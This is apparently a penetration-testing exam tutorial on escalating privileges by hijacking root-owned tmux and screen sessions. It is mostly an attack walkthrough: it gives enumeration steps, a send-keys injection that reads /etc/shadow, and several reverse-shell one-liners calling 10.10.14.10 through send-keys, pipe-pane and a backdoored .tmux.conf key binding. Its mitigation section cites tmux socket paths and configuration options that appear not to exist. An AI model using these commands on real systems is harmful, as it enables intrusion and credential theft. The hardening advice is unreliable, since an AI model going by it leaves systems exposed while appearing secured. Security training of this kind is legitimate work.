tmux/screen Session Escape
Table of Contents
- What Are Terminal Multiplexers?
- Why tmux/screen Sessions Can Lead to Privilege Escalation
- Enumeration
- Exploitation Techniques
- Advanced Abuse Vectors
- Detection and Mitigation
- OSCP Exam Tips
What Are Terminal Multiplexers?
tmux
tmux (Terminal Multiplexer) is a full-screen window manager that lets you access multiple programs from a single terminal session. Key features:
- Session persistence: Detach from a session and reattach later — the session keeps running in the background.
- Multiple panes and windows: Split terminal into panes; create multiple windows within a session.
- Socket-based architecture: tmux communicates between client and server via Unix domain sockets stored in
/tmp/.tmux/(default).
screen
screen (GNU Screen) is the predecessor to tmux, providing similar functionality:
- Session management: Create, detach, and reattach to terminal sessions.
- Window splitting: Horizontal and vertical splits.
- Socket-based architecture: screen communicates via Unix domain sockets stored in
/tmp/.screen/(default).
Comparison Table
| Feature | tmux | screen |
|---|---|---|
| Default socket directory | /tmp/.tmux/ |
/tmp/.screen/ |
| List sessions command | tmux ls |
screen -ls |
| Attach to session | tmux attach -t <name> |
screen -r <name> |
| Default prefix key | Ctrl-b |
Ctrl-a |
| Configuration file | ~/.tmux.conf |
~/.screenrc |
| First released | 2007 | 1987 |
| Market dominance today | Dominant | Legacy but still common |
Why tmux/screen Sessions Can Lead to Privilege Escalation
The core vulnerability stems from how Unix domain sockets work:
- Socket files are regular files — they have standard Unix permissions (owner, group, other).
- Default permissions are often too permissive — if the socket directory (
/tmp/.tmux/or/tmp/.screen/) has group-write or world-write permissions, any user in that group (or any user on the system) can attach to sessions they don’t own. - No authentication by default — tmux and screen do not authenticate attach attempts. If you can write to the socket, you can attach to the session.
- Session inherits the owner’s privileges — when you attach to root’s tmux session, you get root’s shell.
Attack Surface Summary
| Attack Vector | Requirement | Impact |
|---|---|---|
| Direct session attach | Write access to socket file | Full shell as session owner |
| Shared socket directory | Group/world write on /tmp/.tmux/ or /tmp/.screen/ |
Can attach to any session in that directory |
| tmux pipe-pane abuse | Access to tmux server (via socket) | Write arbitrary data to files |
| tmux bind key abuse | Access to tmux server | Execute arbitrary commands as session owner |
| screen hardstatus abuse | Access to screen process | Command injection via title manipulation |
Enumeration
Finding Running tmux/screen Processes
# Check for running tmux server processes
ps aux | grep tmux
# Check for running screen processes
ps aux | grep screen
# More specific — look for tmux server
ps -ef | grep "[t]mux.*server"
# Look for screen sessions
ps -ef | grep "[s]creen"
Listing tmux Sessions
# List all tmux sessions (shows only sessions you can access)
tmux ls
# or
tmux list-sessions
# Example output:
# 0: 1 windows (created Sun Aug 30 10:15:00 2026) [192x48]
# admin: 2 windows (created Sun Aug 30 09:30:00 2026) [200x50] (attached)
# backup: 1 windows (created Sun Aug 30 08:00:00 2026) [180x45]
Listing screen Sessions
# List all screen sessions
screen -ls
# Example output:
# There are screens on:
# 12345.pts-0.root (Attached)
# 67890.pts-1.root (Detached)
# 2 Sockets in /run/screen/S-root.
Checking Socket Directory Permissions
# Check tmux socket directory
ls -la /tmp/.tmux/
# Example output:
# total 8
# drwxrwxrwt 2 root root 4096 Aug 30 10:15 .
# drwxrwxrwt 10 root root 4096 Aug 30 10:00 ..
# srwxrwxrwx 1 root root 0 Aug 30 10:15 default
# Check screen socket directory
ls -la /tmp/.screen/
ls -la /run/screen/
# Check specific socket permissions
stat /tmp/.tmux/default
Key Permission Indicators
| Permission | Meaning | Exploitable? |
|---|---|---|
srwxrwxrwx (777) |
Anyone can connect | YES — critical |
srwxrwxr-x (775) |
Group members can connect | YES — if you’re in the group |
srwxr-xr-x (755) |
Anyone can read/connect | POTENTIALLY |
srwx------ (700) |
Owner only | NO — not exploitable |
Finding All Socket Locations
# tmux may use non-default socket directories
env | grep TMUX
echo $TMUX
# Check common socket locations
ls -la /tmp/.tmux/ 2>/dev/null
ls -la /tmp/.screen/ 2>/dev/null
ls -la /run/screen/ 2>/dev/null
ls -la /var/run/screen/ 2>/dev/null
# Find all socket files on the system
find / -type s -name "*tmux*" 2>/dev/null
find / -type s -name "*screen*" 2>/dev/null
find /tmp -type s 2>/dev/null
Exploitation Techniques
Scenario: You Find an Unattended Root tmux Session
You’re a low-privileged user (www-data) and discover root left a tmux session attached:
# Step 1: Enumerate
www-data@target:~$ tmux ls
admin: 1 windows (created Sun Aug 30 09:30:00 2026) [200x50] (attached)
# Step 2: Check who owns the session
www-data@target:~$ ls -la /tmp/.tmux/
srwxrwxrwx 1 root root 0 Aug 30 09:30 default
# The socket is world-accessible — exploit!
# Step 3: Attach to the session
www-data@target:~$ tmux attach -t admin
# You now have root's shell!
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
Attaching to screen Sessions
# Step 1: List screen sessions
www-data@target:~$ screen -ls
There are screens on:
67890.pts-1.root (Detached)
1 Socket in /run/screen/S-root.
# Step 2: Check socket permissions
www-data@target:~$ ls -la /run/screen/S-root/
srwxrwxr-x 1 root root 0 Aug 30 09:30 67890.pts-1.root
# Step 3: Attach (use -d to detach the original user first)
www-data@target:~$ screen -r 67890
# Or force attach (steals from original user)
www-data@target:~$ screen -x 67890
# -r = reattach (exclusive)
# -x = attach even if already attached (multi-display mode)
screen Attach Options Explained
| Option | Behavior | Use Case |
|---|---|---|
screen -r <id> |
Reattach to detached session | Session is detached, safe to use |
screen -x <id> |
Attach to session even if attached | Steal session from current user |
screen -d -r <id> |
Detach elsewhere, reattach here | Kick original user and take over |
screen -D -r <id> |
Detach and kill elsewhere, reattach | Aggressive takeover |
What You Can Do Once Attached
When you attach to another user’s tmux/screen session, you get:
- Their active shell — with all their environment variables, aliases, and history
- Their privileges — if root owns the session, you are root
- Their open files and processes — any work they were doing is accessible
- Their SSH sessions — if they SSH’d into another machine, you can use that too
- Their sudo state — if they recently ran
sudo, the timestamp may still be valid
# Once attached, verify your privileges
root@target:~# whoami
root
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
root@target:~# sudo -l
Matching Defaults entries for root on target:
root ALL=(ALL:ALL) ALL
# Get a proper reverse shell for persistence
root@target:~# bash -i >& /dev/tcp/10.10.14.10/9001 0>&1
Advanced Abuse Vectors
Shared tmux Socket Abuse
When multiple users share write access to /tmp/.tmux/, they can interfere with each other’s sessions:
# Check if you can write to the tmux socket directory
touch /tmp/.tmux/test_write
ls -la /tmp/.tmux/test_write
rm /tmp/.tmux/test_write
# If you can write, you can potentially:
# 1. Attach to any session in this directory
# 2. Send commands to sessions via tmux send-keys
# 3. Manipulate session configuration
tmux send-keys Abuse
If you have access to the tmux server, you can send keystrokes to any pane:
# Send commands to a target session's pane
tmux send-keys -t admin:0.0 'id' Enter
tmux send-keys -t admin:0.0 'cat /etc/shadow' Enter
tmux send-keys -t admin:0.0 'bash -i >& /dev/tcp/10.10.14.10/9001 0>&1' Enter
# This types the command as if the user typed it — invisible to them
# if they're not looking at that pane at that moment
tmux pipe-pane Abuse
tmux’s pipe-pane command writes pane output to a file or command:
# Capture everything the target sees and types
tmux pipe-pane -t admin:0.0 '/tmp/.evil/capture.sh'
# Or pipe to a reverse shell
tmux pipe-pane -t admin:0.0 'cat >& /dev/tcp/10.10.14.10/4444'
# This captures all output from the pane, including sensitive data
tmux bind Key Abuse
If you control the tmux configuration or can manipulate the server:
# Bind a key to execute arbitrary commands
tmux bind-key R command-prompt -p "Remote cmd:" "run-shell 'bash -c %%'"
# Now pressing Prefix+R in any client runs a remote command
# If you can modify ~/.tmux.conf of the target user:
echo 'bind R run-shell "bash -i >& /dev/tcp/10.10.14.10/4444 0>&1"' >> /home/target/.tmux.conf
Screen hardstatus and Title Abuse
screen’s hardstatus line can be exploited for command injection in older versions:
# screen hardstatus allows command execution via backticks
# If you can control the screen title or hardstatus string:
screen -x target_session
# Then manipulate the title to inject commands
# Example: If a script sets screen title using user-controlled input
# and the title contains backtick-wrapped commands, those execute
/tmp/.tmux and /tmp/.screen Directory Permissions
The default socket directories are critical:
# Normal (safe) permissions:
# drwx------ 2 root root 4096 ... /tmp/.tmux/
# Dangerous permissions:
# drwxrwxrwt 2 root root 4096 ... /tmp/.tmux/
# ^^^ world-writable!
# Check the sticky bit too — even with sticky bit,
# socket file permissions matter more than directory permissions
| Directory Permission | Risk Level | Notes |
|---|---|---|
700 (drwx——) |
Low | Only owner can access — safe |
755 (drwxr-xr-x) |
Medium | Anyone can enter; socket perms still matter |
775 (drwxrwxr-x) |
High | Group members can create/modify sockets |
777 (drwxrwxrwx) |
Critical | Anyone can manipulate sockets |
1777 (drwxrwxrwt) |
Medium-High | Sticky bit helps but socket perms still matter |
Complete Exploitation Walkthrough
Full Attack Chain
######################################
# PHASE 1: RECONNAISSANCE
######################################
# 1. Check for running multiplexer processes
ps aux | grep -E 'tmux|screen'
# 2. List accessible sessions
tmux ls 2>/dev/null
screen -ls 2>/dev/null
# 3. Check socket permissions
ls -la /tmp/.tmux/ 2>/dev/null
ls -la /tmp/.screen/ 2>/dev/null
ls -la /run/screen/ 2>/dev/null
# 4. Find all socket files
find / -type s 2>/dev/null | grep -E 'tmux|screen'
######################################
# PHASE 2: IDENTIFY TARGET SESSION
######################################
# Suppose we find:
# tmux ls output:
# root-session: 1 windows (created Sun Aug 30 08:00:00 2026) [192x48] (attached)
# Check ownership
ls -la /tmp/.tmux/
# srwxrwxrwx 1 root root 0 Aug 30 08:00 default
# Socket is owned by root and world-accessible — perfect target
######################################
# PHASE 3: SESSION HIJACK
######################################
# Option A: Direct attach (if session is detached)
tmux attach -t root-session
# Option B: Force attach (if session is attached)
tmux attach -t root-session 2>/dev/null || \
tmux send-keys -t root-session:0.0 'echo HIJACKED' Enter
# Option C: For screen
screen -d -r root-session
######################################
# PHASE 4: PRIVILEGE VERIFICATION
######################################
# Once attached, verify privileges
whoami
id
sudo -l
######################################
# PHASE 5: PERSISTENCE
######################################
# Get a proper reverse shell
bash -i >& /dev/tcp/10.10.14.10/9001 0>&1
# Or spawn a new shell within the session
/bin/bash -i
Detection and Mitigation
Detection
# Check for running tmux/screen processes
ps aux | grep -E '[t]mux|[s]creen'
# Check for active sessions
tmux ls
screen -ls
# Audit socket permissions
ls -la /tmp/.tmux/
ls -la /tmp/.screen/
ls -la /run/screen/S-*/
# Monitor for new socket creation
inotifywait -m /tmp/.tmux/ 2>/dev/null
inotifywait -m /tmp/.screen/ 2>/dev/null
# Check for tmux/screen in cron jobs (auto-started sessions)
crontab -l 2>/dev/null | grep -E 'tmux|screen'
grep -r 'tmux\|screen' /etc/cron* 2>/dev/null
Mitigation
| Mitigation | Implementation |
|---|---|
| Restrict socket permissions | chmod 700 /tmp/.tmux/ and ensure tmux creates sockets with 600 permissions |
| Use tmux authentication | Configure server-min-perms and server-max-perms in tmux.conf |
| Move socket directory | Set default-command and use a non-/tmp directory: set -g default-command "tmux new-session" with set -g socket-path /var/run/tmux-$(whoami)/default |
| Screen access control | Use accessctl on in .screenrc and configure acladd/aclchg |
| Monitor sessions | Alert on new tmux/screen server processes |
| Use alternatives | Consider byobu with stricter defaults, or SSH with persistent connections |
tmux.conf Hardening
# ~/.tmux.conf — Restrict socket permissions
set -g socket-perms 0600
# Use a private socket directory
set -g default-command "tmux new-session"
set -g socket-path /tmp/tmux-$(id -u)/default
# Require confirmation for certain operations
bind c confirm-before -b "new-window?" new-window
screen .screenrc Hardening
# ~/.screenrc — Access control
accessctl on
acladd trusted_user
aclchg admin +rw "trusted_user"
OSCP Exam Tips
When to Look for tmux/screen
| Indicator | Action |
|---|---|
| You’re stuck with a low-priv shell | Run tmux ls and screen -ls immediately |
You see /tmp/.tmux or /tmp/.screen in directory listing |
Check socket permissions |
ps aux shows tmux/screen processes |
Try to attach |
Another user is logged in (check w or who) |
They might have a multiplexer session |
| You find a backup script or admin tool | The admin may have left a session open |
Quick Enumeration Commands (Run Early)
# Add these to your initial enumeration checklist
tmux ls 2>/dev/null
screen -ls 2>/dev/null
ps aux | grep -E '[t]mux|[s]creen'
ls -la /tmp/.tmux/ 2>/dev/null
ls -la /tmp/.screen/ 2>/dev/null
Common Exam Scenarios
-
Root left an attached tmux session — Most common. Root runs a long task in tmux, walks away. You attach and get root.
-
Shared group socket directory — You and a privileged user share a group. The socket directory is group-writable. You can attach to their session.
-
screen session with weak permissions — Legacy system using screen. Socket in
/run/screen/S-root/with permissive permissions. -
Cron-launched tmux session — A cron job starts a tmux session as root. The session persists and is accessible.
Key Reminders
- Always check
tmux lsandscreen -ls— these are quick, harmless commands that can give you instant root - Socket permissions are the key — if the socket file is world-readable/writable, you can likely attach
- Use
screen -xfor multi-display attach — this lets you attach even if the original user is still connected - Don’t forget
send-keys— even if you can’t attach, you might be able to send commands to a session - This is a low-effort, high-reward technique — takes seconds to check, can give you root instantly
Flag Template for tmux/screen Discovery
[PRIVESC] tmux/screen Session Found
=====================================
Session Type: tmux / screen
Session Name: <name>
Owner: <user>
Socket Path: <path>
Socket Perms: <permissions>
Attached: yes/no
Exploited: yes/no
Result: <privilege level achieved>
Summary
tmux and screen session hijacking is one of the easiest and most overlooked Linux privilege escalation vectors. The attack is simple:
- Find an active session owned by a privileged user
- Verify the socket file has permissive permissions
- Attach to the session
- Inherit the owner’s privileges
This technique requires no exploits, no vulnerabilities, and no special tools — just the tmux or screen binary already on the system. Always enumerate for these sessions during any Linux box, especially when you’re stuck with a low-privilege shell.